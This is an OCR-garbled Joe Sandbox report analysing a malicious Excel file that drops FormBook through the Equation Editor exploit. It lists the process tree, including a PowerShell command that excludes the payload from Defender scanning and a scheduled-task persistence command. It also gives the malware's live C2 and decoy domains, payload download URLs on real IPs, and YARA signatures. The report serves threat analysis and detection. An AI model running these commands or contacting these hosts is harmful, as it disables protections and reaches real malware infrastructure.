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Windows Analysis Report Payment Details.xlsx

Yara detected AntiVM3

B W
. . Sigma detected: Droppers Exploiting...
Most interesting Screenshot: g pp ploiting

FormBook System process connects to Networ. ..

Score: 100 Sigma detected: File Dropped By EQ...

Overview
General Information Detection Signatures Classification
Sample Payment Details.xlsx
Name: MALICIOUS Found malware configuration
Analysis ID: 528790 Snort IDS alert for network traffic (e....
MDS: f49e322b837835a. Sigma detected: EQNEDT32.EXE c...
SHAL:
€7cddib865b528 .. Multi AV Scanner detection for subm...
SHA256: ff4e17d62ce9c71..
Yara detected FormBook
Malicious sample detected (through ...
B L heh i [ vaadelecica i |
Range: 0-100 Antivirus detection for URL or domain
Whitelisted: false
X Multi AV Scanner detection for doma...
Confidence: 100%

Process Tree

= System is w7x64

. EXCEL.EXE (PID: 2408 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)
. ﬁ EQNEDT32.EXE (PID: 1268 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5:
AB87236E214F6D42A65F5DEDAC816AECS)
e [ vbc.exe (PID: 3028 cmdline: "C:\Users\Public\vbc.exe" MD5: 0F88779E9500075DE85E916637305164)
e g4 powershell.exe (PID: 2728 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roamin
g\OmnbtuhFsJys.exe MD5: 92F44E405DB16AC55D97E3BFE3B132FA)
e [M schtasks.exe (PID: 2636 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\OmnbtuhFsJys" /XML "C:\Users\user\AppData\Local\Temp\tmpC92A.tmp
MD5: 2003E9B15E1C502B146DAD2E383AC1E3)
e [E] vbc.exe (PID: 1724 cmdline: C:\Users\Public\vbc.exe MDS: 0F88779E9500075DE85E916637305164)
o [m explorer.exe (PID: 1764 cmdline: C:\Windows\Explorer. EXE MD5: 38AE1B3C38FAEF56FE4907922F0385BA)
. D rundlI32.exe (PID: 1292 cmdline: C:\Windows\SysWOW64\rundll32.exe MD5: 51138BEEA3E2C21EC44D0932C71762A8)
. cmd.exe (PID: 2964 cmdline: /c del "C:\Users\Public\vbc.exe" MD5: AD7B9C14083B52BC532FBA5948342B98)
= cleanup

Malware Configuration

Threatname: FormBook
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"C2 list": [
"www.blancheshelley.xyz/q92fg/"

1,

"decoy": [
"snowcrash.website",
"pointman.us",
"newheartvalve.care”,
"drandl.com",
"sandspringsramblers.com”,
"programagubernamental.online”,
"boja.us",

"mvrsnike.com”,
"mentallyillmotherhood.com”,
"facom.us",
"programagubernamental.store”,
"izivente.com",
"roller-v.fr",
"amazonbioactives.com”,
"metaverseapple.xyz",
"5gt-mobilevsverizon.com”,
"gtwebsolutions.co”,
"scottdunn. life",

"usdp. trade",

"pikmin.run",
"cardano-dogs.com",
"bf2hgfy.xyz",
"teslafoot.com",
"rubertquintana.com",
"wellsfargroewards.com”,
"santel.us",
"couponatonline.com”,
"theunitedhomeland.com”,
"pmstnly.com",
"strlocal.com”,
"shelleysmucker.com",
"youser.online",
"emansdesign.com”,
"usnikeshoesbot. top",
"starfish.press"”,
"scotwork.us",
"metamorgana.com”,
"onyxbx.net",
"rivas.company",
"firstcoastalfb.com”,
"onpurposetraumainformedcare.com”,
"celimot.xyz",
"jecunikepemej.rest"”,
"lenovolatenightit.com”,
"unitedsterlingcompanyky.com”,
"safety2venture.us",
"facebookismetanow.com",
"scottdunn.review",
"mentallyillmotherhood.com",
"firstincargo.com”,
"vikavivi.com",
"investmenofpairs.club”,
"nexans.cloud",

"farcloud. fr",
"ivermectinforhumans.quest”,
"5gmalesdf.sbs",
"majenta.info",
"6vvvvvwmetam. top",
"metafirstclass.com”,
"firstcoinnews.com",
"btcetffutures.online”,
"funinfortmyers.com",
"mangoirslk.top”,
"metaversebasicprivacy.com"”

Yara Overview

Memory Dumps

Source Rule

00000009.00000002.506389190.0000000000400000.00000 JoeSecurity_FormBook
040.00000001.sdmp

Copyright Joe Security LLC 2021

Description

Yara detected
FormBook

Author

Joe Security

Strings
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Source

00000009.00000002.506389190.0000000000400000.00000 Formbook_1

040.00000001.sdmp

00000009.00000002.506389190.0000000000400000.00000 Formbook

040.00000001.sdmp

0000000A.00000000.489472241.00000000092F

B000.00000040.00020000.sdmp

0000000A.00000000.489472241.00000000092F

B000.00000040.00020000.sdmp

Unpacked PEs

Source

9.0.vbc.exe.400000.8.raw.unpack

9.0.vbc.exe.400000.8.raw.unpack

9.0.vbc.exe.400000.8.raw.unpack

9.2.vbc.exe.400000.2.raw.unpack

9.2.vbc.exe.400000.2.raw.unpack

Sigma Overview

Copyright Joe Security LLC 2021

Rule Description

yara-signator

memory

JoeSecurity_FormBook  Yara detected
FormBook
Formbook_1 autogenerated rule
brought to you by
yara-signator
Click to see the 31 entries
Rule Description
JoeSecurity_FormBook  Yara detected
FormBook
Formbook_1 autogenerated rule
brought to you by
yara-signator
Formbook detect Formbook in

memory

JoeSecurity_FormBook  Yara detected
FormBook

Formbook_1

yara-signator

Click to see the 16 entries

autogenerated rule
brought to you by

detect Formbook in

autogenerated rule
brought to you by

Author

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

Author

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

Strings

e 0x9908:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

.

e o o o

e o o o

e o o o o o

e o o o o o

0x9b82:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x156b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

Ox15lal:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Oxa59a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b937:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x1c93a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x18859:$sqlite3step: 68 34 1C 7B E1
0x1896¢:$sqlite3step: 68 34 1C 7B E1
0x18888:$sqlite3text: 68 38 2A 90 C5
0x189ad:$sqlite3text: 68 38 2A 90 C5
0x1889b:$sqlite3blob: 68 53 D8 7F 8C
0x189c3:$sqlite3blob: 68 53 D8 7F 8C

0x26b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x2lal:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x27b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x292f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Ox141c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x8937:$sequence_8: 3C 54 74 04 3C 74 75 F4
0x993a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

Strings

.

e o o o

e o o o o o e o o o

.

e o o o

e o o o

0x9908:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x9b82:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x156b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0Ox15lal:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Oxa59a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

Ox1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b937:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1c93a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00

0x18859:$sqlite3step: 68 34 1C 7B E1
0x1896¢:$sqlite3step: 68 34 1C 7B E1
0x18888:$sqlite3text: 68 38 2A 90 C5
0x189ad:$sqlite3text: 68 38 2A 90 C5
0x1889b:$sqlite3blob: 68 53 D8 7F 8C
0x189c3:$sqlite3blob: 68 53 D8 7F 8C

0x9908:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x9b82:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x156b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

Ox15lal:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Oxa59a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02
83 E3 OF C1 EA 06

Ox1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b937:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1c93a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE
FF FF 6A 00
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=

Exploits:

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: Non Interactive PowerShell

Jbx Signhature Overview

g

Click to jump to signature section

AV Detection:

Found malware configuration

Multi AV Scanner detection for submitted file
Yara detected FormBook

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

:

Exploits:

=

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

=

E-Banking Fraud:

Yara detected FormBook

=

System Summary:

Malicious sample detected (through community Yara rule)

Data Obfuscation:

‘]

Copyright Joe Security LLC 2021 Page 7 of 32



a2

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

=

Malware Analysis System Evasion:

=

Yara detected AntiVM3

=

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

Yara detected FormBook

Remote Access Functionality: | |

Yara detected FormBook

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command and Net
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration Control Effe
Valid Command and Scheduled Process Rootkit Credential  Security Software Remote Credential Exfiltration Encrypted Eav
Accounts  Scripting Task/Job @ Injection API Discovery Services API Over Other Channel Inse
Interpreter Hooking Hooking (f) Network Net
Medium Con
Default Scheduled Boot or Scheduled Masquerading LSASS Process Discovery Remote Archive Exfiltration  Ingress Tool Exp
Accounts  Task/Job Logon Task/Job Memory Desktop Collected  Over Transfer [{) Red
Initialization Protocol Data Bluetooth Call
Scripts
Domain Shared Logon Script Logon Script Disable or Modify Security Virtualization/Sandbox SMB/Windows Data from Automated Non-Application Exp
Accounts  Modules (Windows)  (Windows) Tools Account  Evasion Admin Shares Network  Exdfiltration  Layer Protocol @ Trac
Manager Shared Loci
Drive
Local Exploitation for Logon Script Logon Script Virtualization/Sandbox NTDS Remote System Distributed Input Scheduled Application Layer SIM
Accounts  Client (Mac) (Mac) Evasion Discovery Component  Capture  Transfer  Protocol Swe
Execution Object Model

Cloud Cron Network Network Logon  Process LSA File and Directory SSH Keylogging Data Fallback Mar
Accounts Logon Script Script Injection a Secrets Discovery Transfer Channels Dev
Size Limits Con
Replication  Launchd Rc.common Rc.common Deobfuscate/Decode  Cached System Information VNC GUI Input  Exfiltration  Multiband Jam
Through Files or Information Domain Discovery Capture Over C2 Communication ~ Den
Removable Credentials Channel Sen

Media
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Initial Privilege Credential Lateral Command and  Net

Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration Control Effe
External Scheduled Task Startup Startup Items Obfuscated Files or DCSync Network Sniffing Windows Web Portal Exfiltration Commonly Used Rog
Remote Items Information Remote Capture Over Port Acci
Services Management Alternative

Protocol
Drive-by Command and Scheduled  Scheduled Rundll32 Proc Network Service Shared Credential Exfiltration Application Layer Dow
Compromise Scripting Task/Job Task/Job Filesystem Scanning Webroot API Over Protocol Inse

Interpreter Hooking Symmetric Prot

Encrypted

Non-C2

Protocol
Exploit PowerShell At (Linux) At (Linux) Software letc/passwd System Network Software Data Exfiltration Web Protocols Rog
Public- Packing and Connections Deployment  Staged Over Bas
Facing letc/shadow Discovery Tools Asymmetric
Application Encrypted

Non-C2

Protocol

Behavior Graph

Hide Legend

Behavior Graph

i Legend:
P |:| Process
- g — -> . - [ signature
- S . Created File
Il onsie info
ﬂ Is Dropped
m ™ . A% Is Windows Process

*
*n

Number of created Registry Values

Number of created Files

5 B

Visual Basic

zz
3

ms
o=
o

)

Delphi

i
i
=

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

L@ 2 )

[ ewweee Ay

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Payment Details - Microsoft Excel
o @o@ =

Home | Insert  Pagelayout  Formulas  Data  Review

-~ n ;] = m AutaSum + A

Calibri o A A = & Wrap Text b ‘;(_Aﬂ:‘ o = g @ 5 e .}J !ﬁ
e - 3 @] Fin - i

Sort & Find &

Filter - Select~
Cells Editing

" Gacopy~
- Format Painter
Clipboard ‘;

N3 bl

B I i- | & A 25 Merge & Center $ - % » | %@ 0| Condfional Formst Cell | Insert Delete Format
== N * =% | Formatting - as Table - Styles &2 Clear -

Alignment Number Styles

Content Locked.
Please enable Editing and Content from the Yellow bar
above to view locked content.

e —

7:28 PM
u/s2n |

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link

Dropped Files

Source Detection Scanner Label Link

Page 10 of 32
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https://www.virustotal.com/gui/file/ff4e17d62ce9c71164879418e7942cecf8db37b16cb66adebc6c2570840f8524/detection/f-ff4e17d62ce9c71164879418e7942cecf8db37b16cb66adebc6c2570840f8524-1637824419

Source Detection Scanner Label Link

Unpacked PE Files

Source Detection Scanner Label Link Download

Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
http:/fwww.metafirstclass.com/g2fg/? 0% Avira URL Cloud safe
hZlpd=H/0ZmZGK5jsRiriaZutACEFQpFY2p/TAFyTzOdFvzC4udK1/ISWrgm9fn/kzXoflvKU/jw==&LRgXx=f

beXTtnx6x

http:/fjava.sun.com 0% URL Reputation safe
http:/fwww.icra.org/vocabulary/. 0% URL Reputation safe
http:/fwellformedweb.org/CommentAPI/ 0% URL Reputation safe

http:/fwww.iis.fhg.de/audioPA 0% URL Reputation safe

http:/fcomputername/printers/printername/.printer Avira URL Cloud safe
http:/fwww.%s.comPA 0% URL Reputation safe
http:/fwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
http:iitreyresearch.net 0% URL Reputation safe
http://servername/isapibackend.dll 0% Avira URL Cloud  safe

Domains and IPs

Contacted Domains

Name Actlve Mallclous Ant|V|rus Detection Reputation

Contacted URLs

Name Malicious Antivirus Detection Reputation

URLs from Memory and Binaries

Contacted IPs

Public

Domain Country Flag ASN Name Malicious

Copyright Joe Security LLC 2021 Page 11 of 32


https://www.virustotal.com/gui/url/49b06c0e8e83b98fdeb1c919b9fa5f1e98aa25f393c3eec87466be7b88f31fc3/detection/u-49b06c0e8e83b98fdeb1c919b9fa5f1e98aa25f393c3eec87466be7b88f31fc3-1637834404
https://www.virustotal.com/gui/url/7e34e1522cbf7a0347448e3fbf9c356cbbc4df15f4a22863fcdde7548868b8aa/detection/u-7e34e1522cbf7a0347448e3fbf9c356cbbc4df15f4a22863fcdde7548868b8aa-1636597888
https://www.virustotal.com/gui/url/49b06c0e8e83b98fdeb1c919b9fa5f1e98aa25f393c3eec87466be7b88f31fc3/detection/u-49b06c0e8e83b98fdeb1c919b9fa5f1e98aa25f393c3eec87466be7b88f31fc3-1637834404
https://www.virustotal.com/gui/url/7e34e1522cbf7a0347448e3fbf9c356cbbc4df15f4a22863fcdde7548868b8aa/detection/u-7e34e1522cbf7a0347448e3fbf9c356cbbc4df15f4a22863fcdde7548868b8aa-1636597888

P Domain

Country Flag ASN Name Malicious

General Information

Joe Sandbox Version:

Analysis ID:

Start date:

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time Type
19:28:37
19:28:41
19:28:44
19:28:45
19:29:06
19:30:10

Copyright Joe Security LLC 2021

API Interceptor
API Interceptor
API Interceptor
API Interceptor
API Interceptor
API Interceptor

34.0.0 Boulder Opal

528790

25.11.2021

19:28:11

CloudBasic

Oh 11m 5s

false

light

Payment Details.xIsx
defaultwindowsofficecookbook.jbs

Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET
4.6.2)

16

= O O O

e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled

default

Timeout

MAL

mal100.troj.expl.evad.winXLSX@13/26 @1/2
Failed

e Successful, ratio: 33.4% (good quality ratio 31%)
e Quality average: 78.7%
e Quality standard deviation: 29.4%

e Successful, ratio: 89%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time

e Enable AMSI

e Found application associated with file extension: .xIsx
e Found Word or Excel or PowerPoint or XPS Viewer

e Attach to Office via COM

e Scroll down

e Close Viewer

Show All

Description

96x Sleep call for process: EQNEDT32.EXE modified
82x Sleep call for process: vbc.exe modified

10x Sleep call for process: powershell.exe modified
1x Sleep call for process: schtasks.exe modified
229x Sleep call for process: rundll32.exe modified

1x Sleep call for process: explorer.exe modified

Page 12 of 32



Joe Sandbox View | Context

IPs

Match Associated Sample Name /| URL SHA 256

52.128.23.153 Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Copyright Joe Security LLC 2021

Detection

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Context

www.tesla
botnews.co
m/b3n1/?6l
P=aUXk73yz
MCo1/L4iXf
PwqTXDL3IL
/7gah35/Yq
DHpJTg3gHA
JQWWkwmc6D
JWZpGIFVC6
&3f0pfr=KI08Iv

www.prime
timeexpres
s.com/unzn/?
yA484Hx=-
ZBHbB&ADHO
5pfH=MJyeu
jl2LKgxhmw
BEaOepQoT7
p7qWMZxszA
120NIFtrFd
slveJHUTH)
AIK7RWXKTq
53B3g==

www.toyla
ndmetavers
e.com/flow/?
5j=v1AeK
WlaHX6Eq72
DF41G94UNV
INYDSuRpls
WHrwN6To9E
elRczKIItu
WTrACum/yo
BIIjSCjWA=
=&h8U4C=6l
Ipd2Bh-

www.tesla
botnews.co
m/b3n1/?yT
64XD=aUXk7
3yzMCol/L4
iXfPwgTXDL
3IL/7gah35
/YqDHpJTg3
gHAJQWWkwm
C6Al/ap6FM
23sDVnWfA=
=&3fHX7=FRihe

www.tesla
botnews.co
m/b3n1/?3f
2xVxJp=aUX
k73yzMCol/
L4iXfPwqTX
DL3IL/7gah
35/YqDHpJT
g3gHAJQWWk
wmc6ApGWIW
Fbwr9&5jwD
p=L6AXwpFhVI

www.faceb
ookfrommet
a.com/eg62/?
bZ8x3p=0
VOIMEYKFd8
jUreudbiOR
r4kVRCFjgR
e9oHLF6Mu/
RQip7pQWIF
Sy5bau8mCh
kijx4bva&9r
mL=2dTD-rkOSn
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https://view.joesandbox.com/analysis/414875/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414875/html/none?idtype=webid
https://view.joesandbox.com/analysis/412614/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412614/html/none?idtype=webid
https://view.joesandbox.com/analysis/412569/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412569/html/none?idtype=webid
https://view.joesandbox.com/analysis/407195/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407195/html/none?idtype=webid
https://view.joesandbox.com/analysis/405593/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/405593/html/none?idtype=webid
https://view.joesandbox.com/analysis/404518/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/404518/html/none?idtype=webid

Match

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

www.seatt
leinsuranc
ebrokers.c
om/gaéh/?5
j=A0D4KLkh
&f6AtFb8=0
GgLDSe9xOl
B5GIDtwDzp
X4pIn6005S
LUMZRMDF+w
YBaw1FiV59
KxrRNiVTog
SR6a0FYWg==

www.crush
anxiety.co
m/dgt9/?bH
=DNO9ti628i
J608&j4=12y
/kml0JY96G
501vbo19U/
OatRochhfL
WLJIv6r29D8
zD012Da+Wo
+tthAajWN1
QtyKepmajXA==

www.senio
rdatingtv.
com/mOnp/?
j6782P=EZM
4HNn6&9rjPn
6YP=dUCYUX
JGz1+sp6xv
vedsnllYom
OfARD1rnKg
4fXZI1ONuB
e/oLzeroDK
OHojolO06SWV

www.thats
whatshesay
s.com/qtqq/?
BIm8j=f/
FZiUyvdsuq
WIBAGZIX9OW
KLQRzMOKEyY
andyJXo4F5
Iwu5RDUoyQ
AcRbAjtv9e
a26l12c&d2J
41F=NR-H4

WwWWw.senio
rdatingtv.
com/mOnp/?
UxIT9j=61J
xR8&ibh=dU
CYUXJGzl+s
p6xvvcIsnl
IYomOfARD1
rnKg4fxXzI1
ONuBe/oLze
roDKOEIznp
eMk3/S

www.shang
haiinvestm
ents.com/dbew/?
0B=ZH
EP+6Sbwud?2
06WPXQGcDO
7+3wwAURWE
880vqgsTEIQ
TjXjhbwYnD
XrLO9FYjjt
Kpss2J&F2J
I=pVbXcXHhznF

www.senio
rdatingtv.
com/mOnp/?
1bvd-4=dUuC
YUXJIGzl+sp
6xvvcIsnll
YomOfARD1r
nKg4fXzi10
NuBe/oLzer
0oDKOEIZ4Zu
Mg13S&u0Dh
=E2MDa2w

Page 14 of 32


https://view.joesandbox.com/analysis/401616/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401616/html/none?idtype=webid
https://view.joesandbox.com/analysis/401553/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401553/html/none?idtype=webid
https://view.joesandbox.com/analysis/387370/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/387370/html/none?idtype=webid
https://view.joesandbox.com/analysis/386392/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386392/html/none?idtype=webid
https://view.joesandbox.com/analysis/384781/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384781/html/none?idtype=webid
https://view.joesandbox.com/analysis/383913/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383913/html/none?idtype=webid
https://view.joesandbox.com/analysis/382675/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382675/html/none?idtype=webid

Match

Copyright Joe Security LLC 2021

Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

e www.intel
eflow.com/bckt/?
4hJD
F=fXUSWIiEs
w2pXQ8uTQl
BJIUCTUYmT
eFKNjzblv7
MbpGmpAyjj
GOXWfttsCZ
Uwbu6D8RjV
&w48IT8=6|
oHNvhx9TdH
udo

e www.safbo
x.com/gb4a/?
s2MPPpM=
ZCS+LOFp2y
54cIX65U6Q
FvNdR6uyjN
Als+lcWgVa
B/8dayUSZb
y/INV2n1lglLW
WV1UPmMz7&i
F=7n3dzFOP
zb6dZjL

e www.safbo
x.com/gb4a/?
TL3D=Frg
LUJVHZHA4&
V48DtRqP=2Z
CS+LOFp2y5
4cIX65U6QF
VNdR6uyjNA
1s+lcWgVvaB
/8dayUSzby
INV2n1prGZ
OlsRDa8

e www.safbo
x.com/qb4a/?
kzZAtl=3f
NTnDv&Y2J=
ZCS+LOFp2y
54cIX65U6Q
FvNdR6uyjN
Als+lcWgVa
B/8dayUSZzb
y/NV2n1gL8
JIFULK77

o www.buysp
ygear.com/
eca0/?fL08
g=zY4pfOeD
eO/4cMsab5
ROCLy9IIZv
LYQaYwu3Wi
3ilrICY2pb
oEoqtMc4wl
azZ15ginwXR
Oy0c0Q==&m2=-
ZVD

©  WWW.ZW(.X
yziwufn/?f
8TPbh=XjXB
hjuXvwgHNo
1617gvZZ0G
eOD10IACqO
aYHXXfecnXX
r5FleGn5Pi
6ag2sKCKjw
bINQsnhuYg
==&mVEhB=4
hPxHDz

e www.teleh
ood.com/ons5/?
TfoP=H
8HXnZyeypk
xdZWijx93+g
oBuntysNdu
d/1pYfiy9i
mFYWHStf/Z
C3J9TIXLNS
tUW2H7n&8p
FPh=EJBI8I
T8vxYOu
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https://view.joesandbox.com/analysis/374614/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/374614/html/none?idtype=webid
https://view.joesandbox.com/analysis/366973/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/366973/html/none?idtype=webid
https://view.joesandbox.com/analysis/366337/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/366337/html/none?idtype=webid
https://view.joesandbox.com/analysis/366242/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/366242/html/none?idtype=webid
https://view.joesandbox.com/analysis/360254/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/360254/html/none?idtype=webid
https://view.joesandbox.com/analysis/357223/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/357223/html/none?idtype=webid
https://view.joesandbox.com/analysis/356804/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/356804/html/none?idtype=webid

Match
202.55.132.154

Domains

No context

ASN

Match
DOSARRESTUS

ADTEC-AS-
VNADTECMediaJointStockCompanyVN

Copyright Joe Security LLC 2021

Associated Sample Name / URL SHA 256

Associated Sample Name / URL

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse

Browse

Context

202.55.13
2.154/4267
111111_2/v
bc.exe

202.55.13
2.154/7619
0111111 1/
vbc.exe

202.55.13
2.154/2290
nw/vbc.exe

202.55.13
2.154/2290
nw/vbc.exe

202.55.13
2.154/4868
Oc/vbc.exe

202.55.13
2.154/x386
w/vbc.exe

202.55.13
2.154/66w8
80/vbc.exe

202.55.13
2.154/w7h0
09/vbc.exe

202.55.13
2.154/expl
orerl0/vbc.exe

Context

e 52.128.23.153
e 52.128.23.153
e 52.128.23.153
52.128.23.153

52.128.23.153

52.128.23.153

52.128.23.153

52.128.23.153

52.128.23.153

52.128.23.153

52.128.23.153

52.128.23.153

52.128.23.153
52.128.23.27

70.33.253.205

52.128.23.153

69.172.202.200

52.128.23.153

52.128.23.153

52.128.23.153

202.55.132.154

202.55.133.101

202.55.133.101

202.55.132.154

202.55.132.154
202.55.132.154

202.55.132.154

202.55.133.118
202.55.133.118

202.55.132.154

202.55.133.118

202.55.133.118
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https://view.joesandbox.com/analysis/415848/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415848/html/none?idtype=webid
https://view.joesandbox.com/analysis/414920/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414920/html/none?idtype=webid
https://view.joesandbox.com/analysis/414074/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414074/html/none?idtype=webid
https://view.joesandbox.com/analysis/414056/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414056/html/none?idtype=webid
https://view.joesandbox.com/analysis/413067/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413067/html/none?idtype=webid
https://view.joesandbox.com/analysis/412217/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412217/html/none?idtype=webid
https://view.joesandbox.com/analysis/410362/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/410362/html/none?idtype=webid
https://view.joesandbox.com/analysis/407137/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/407137/html/none?idtype=webid
https://view.joesandbox.com/analysis/404934/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/404934/html/none?idtype=webid
https://view.joesandbox.com/analysis/414875/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/414875/html/none?idtype=webid
